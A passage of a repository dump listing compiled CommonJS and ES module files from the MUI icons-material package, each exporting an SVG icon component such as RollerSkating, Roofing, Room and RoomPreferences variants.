    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 16-.01-6-5.71-1.43c-.88-.22-1.58-.81-1.96-1.57H9V6h3.02L12 5H9V4h3V1H4v15zM5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m14 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m-7 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'RollerSkatingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkatingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 16-.01-6-5.71-1.43c-.88-.22-1.58-.81-1.96-1.57H9V6h3.02L12 5H9V4h3V1H4v15zM5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m14 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m-7 0c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'RollerSkatingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkatingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14H6V3h5v1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5H11l.1 1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C17.4 10.33 18 11.1 18 12zM5 21c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m14 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-1.79-1.19-3.34-2.91-3.82l-2.62-.74C13.62 7.19 13 6.39 13 5.5V1H4v15h16zm-2 2H6V3h5v1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5H11l.1 1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C17.4 10.33 18 11.1 18 12zM5 17c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m14-4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7-4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'RollerSkatingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RollerSkatingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14H6V3h5v1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5H11l.1 1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C17.4 10.33 18 11.1 18 12zM5 21c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m14 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-1.79-1.19-3.34-2.91-3.82l-2.62-.74C13.62 7.19 13 6.39 13 5.5V1H4v15h16zm-2 2H6V3h5v1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5H11l.1 1H9.5c-.28 0-.5.22-.5.5s.22.5.5.5h1.81c.45 1.12 1.4 2.01 2.6 2.36l2.62.73C17.4 10.33 18 11.1 18 12zM5 17c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m14-4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7-4c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'RollerSkatingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Roofing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 18h-2v-2h2zm2-4H9v6h6zm4-4.7V4h-3v2.6L12 3 2 12h3l7-6.31L19 12h3z\"\n}), 'Roofing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Roofing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 18h-2v-2h2zm2-4H9v6h6zm4-4.7V4h-3v2.6L12 3 2 12h3l7-6.31L19 12h3z\"\n}), 'Roofing');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoofingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 18h-2v-2h2zm2-4H9v6h6zm4-4.7V4h-3v2.6L12 3 2 12h3l7-6.31L19 12h3z\"\n}), 'RoofingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoofingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 18h-2v-2h2zm2-4H9v6h6zm4-4.7V4h-3v2.6L12 3 2 12h3l7-6.31L19 12h3z\"\n}), 'RoofingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoofingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 18h-2v-2h2zm-4-3v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1m10-5.7V5c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1.6l-3.33-3c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87h1.31c.25 0 .49-.09.67-.26L12 5.69l6.71 6.05c.19.17.43.26.67.26h1.31c.46 0 .68-.57.33-.87z\"\n}), 'RoofingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoofingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 18h-2v-2h2zm-4-3v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1m10-5.7V5c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1.6l-3.33-3c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87h1.31c.25 0 .49-.09.67-.26L12 5.69l6.71 6.05c.19.17.43.26.67.26h1.31c.46 0 .68-.57.33-.87z\"\n}), 'RoofingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoofingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 18h-2v-2h2zm2-4H9v6h6zm4-4.7V4h-3v2.6L12 3 2 12h3l7-6.31L19 12h3z\"\n}), 'RoofingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoofingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 18h-2v-2h2zm2-4H9v6h6zm4-4.7V4h-3v2.6L12 3 2 12h3l7-6.31L19 12h3z\"\n}), 'RoofingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoofingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 18h-2v-2h2zm2-4H9v6h6zm4-4.7V4h-3v2.6L12 3 2 12h3l7-6.31L19 12h3z\"\n}, \"1\")], 'RoofingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoofingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 18h-2v-2h2zm2-4H9v6h6zm4-4.7V4h-3v2.6L12 3 2 12h3l7-6.31L19 12h3z\"\n}, \"1\")], 'RoofingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Room.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'Room');"
  },
  {
    "path": "packages/mui-icons-material/lib/Room.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'Room');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7M7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"2.5\"\n}, \"1\")], 'RoomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7M7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"2.5\"\n}, \"1\")], 'RoomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferences.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11.26V6h3v4h2V4h-5V3H5v16H3v2h9.26c-.79-1.13-1.26-2.51-1.26-4 0-2.38 1.19-4.47 3-5.74M10 11h2v2h-2zm11.69 5.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L19 12h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L17 22h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M18 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'RoomPreferences');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferences.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11.26V6h3v4h2V4h-5V3H5v16H3v2h9.26c-.79-1.13-1.26-2.51-1.26-4 0-2.38 1.19-4.47 3-5.74M10 11h2v2h-2zm11.69 5.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L19 12h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L17 22h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M18 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'RoomPreferences');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferencesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.69 16.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L19 12h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L17 22h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M18 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m1-15v6h-2V6h-2v6h-2V5H7v14h5v2H3v-2h2V3h10v1zm-7 9h-2v-2h2z\"\n}), 'RoomPreferencesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferencesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.69 16.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L19 12h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L17 22h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M18 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m1-15v6h-2V6h-2v6h-2V5H7v14h5v2H3v-2h2V3h10v1zm-7 9h-2v-2h2z\"\n}), 'RoomPreferencesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferencesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.75 17c0-.22-.03-.42-.06-.63l.84-.73c.18-.16.22-.42.1-.63l-.59-1.02c-.12-.21-.37-.3-.59-.22l-1.06.36q-.48-.405-1.08-.63l-.22-1.09c-.05-.23-.25-.4-.49-.4h-1.18c-.24 0-.44.17-.49.4l-.22 1.09q-.6.225-1.08.63l-1.06-.36c-.23-.08-.47.02-.59.22l-.59 1.02c-.12.21-.08.47.1.63l.84.73c-.03.21-.06.41-.06.63s.03.42.06.63l-.84.73c-.18.16-.22.42-.1.63l.59 1.02c.12.21.37.3.59.22l1.06-.36q.48.405 1.08.63l.22 1.09c.05.23.25.4.49.4h1.18c.24 0 .44-.17.49-.4l.22-1.09q.6-.225 1.08-.63l1.06.36c.23.08.47-.02.59-.22l.59-1.02c.12-.21.08-.47-.1-.63l-.84-.73c.03-.21.06-.41.06-.63M18 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-4-7.74V6h3v4h2V5c0-.55-.45-1-1-1h-4c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v15H4c-.55 0-1 .45-1 1s.45 1 1 1h8.26c-.79-1.13-1.26-2.51-1.26-4 0-2.38 1.19-4.47 3-5.74M10 12c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'RoomPreferencesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferencesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.75 17c0-.22-.03-.42-.06-.63l.84-.73c.18-.16.22-.42.1-.63l-.59-1.02c-.12-.21-.37-.3-.59-.22l-1.06.36q-.48-.405-1.08-.63l-.22-1.09c-.05-.23-.25-.4-.49-.4h-1.18c-.24 0-.44.17-.49.4l-.22 1.09q-.6.225-1.08.63l-1.06-.36c-.23-.08-.47.02-.59.22l-.59 1.02c-.12.21-.08.47.1.63l.84.73c-.03.21-.06.41-.06.63s.03.42.06.63l-.84.73c-.18.16-.22.42-.1.63l.59 1.02c.12.21.37.3.59.22l1.06-.36q.48.405 1.08.63l.22 1.09c.05.23.25.4.49.4h1.18c.24 0 .44-.17.49-.4l.22-1.09q.6-.225 1.08-.63l1.06.36c.23.08.47-.02.59-.22l.59-1.02c.12-.21.08-.47-.1-.63l-.84-.73c.03-.21.06-.41.06-.63M18 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m-4-7.74V6h3v4h2V5c0-.55-.45-1-1-1h-4c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v15H4c-.55 0-1 .45-1 1s.45 1 1 1h8.26c-.79-1.13-1.26-2.51-1.26-4 0-2.38 1.19-4.47 3-5.74M10 12c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'RoomPreferencesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferencesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11.26V6h3v4h2V4h-5V3H5v16H3v2h9.26c-.79-1.13-1.26-2.51-1.26-4 0-2.38 1.19-4.47 3-5.74M10 11h2v2h-2zm11.69 5.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L19 12h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L17 22h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M18 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'RoomPreferencesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferencesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11.26V6h3v4h2V4h-5V3H5v16H3v2h9.26c-.79-1.13-1.26-2.51-1.26-4 0-2.38 1.19-4.47 3-5.74M10 11h2v2h-2zm11.69 5.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L19 12h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L17 22h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M18 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'RoomPreferencesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferencesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12.11V5H7v14h4.29c-.19-.63-.29-1.3-.29-2 0-1.91.76-3.63 2-4.89M10 11h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13h-2v-2h2zm-5 6V5h6v7.11c.57-.59 1.25-1.07 2-1.42V6h2v4h2V4h-4V3H5v16H3v2h9.26c-.42-.6-.75-1.28-.97-2zm14.69-1.37 1.14 1-1 1.73-1.45-.49q-.48.405-1.08.63L19 22h-2l-.3-1.49q-.6-.225-1.08-.63l-1.45.49-1-1.73 1.14-1c-.08-.5-.08-.76 0-1.26l-1.14-1 1-1.73 1.45.49q.48-.405 1.08-.63L17 12h2l.3 1.49q.6.225 1.08.63l1.45-.49 1 1.73-1.14 1c.08.51.08.77 0 1.27M20 17c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2\"\n}, \"1\")], 'RoomPreferencesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomPreferencesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12.11V5H7v14h4.29c-.19-.63-.29-1.3-.29-2 0-1.91.76-3.63 2-4.89M10 11h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13h-2v-2h2zm-5 6V5h6v7.11c.57-.59 1.25-1.07 2-1.42V6h2v4h2V4h-4V3H5v16H3v2h9.26c-.42-.6-.75-1.28-.97-2zm14.69-1.37 1.14 1-1 1.73-1.45-.49q-.48.405-1.08.63L19 22h-2l-.3-1.49q-.6-.225-1.08-.63l-1.45.49-1-1.73 1.14-1c-.08-.5-.08-.76 0-1.26l-1.14-1 1-1.73 1.45.49q.48-.405 1.08-.63L17 12h2l.3 1.49q.6.225 1.08.63l1.45-.49 1 1.73-1.14 1c.08.51.08.77 0 1.27M20 17c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2\"\n}, \"1\")], 'RoomPreferencesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomRounded.js",
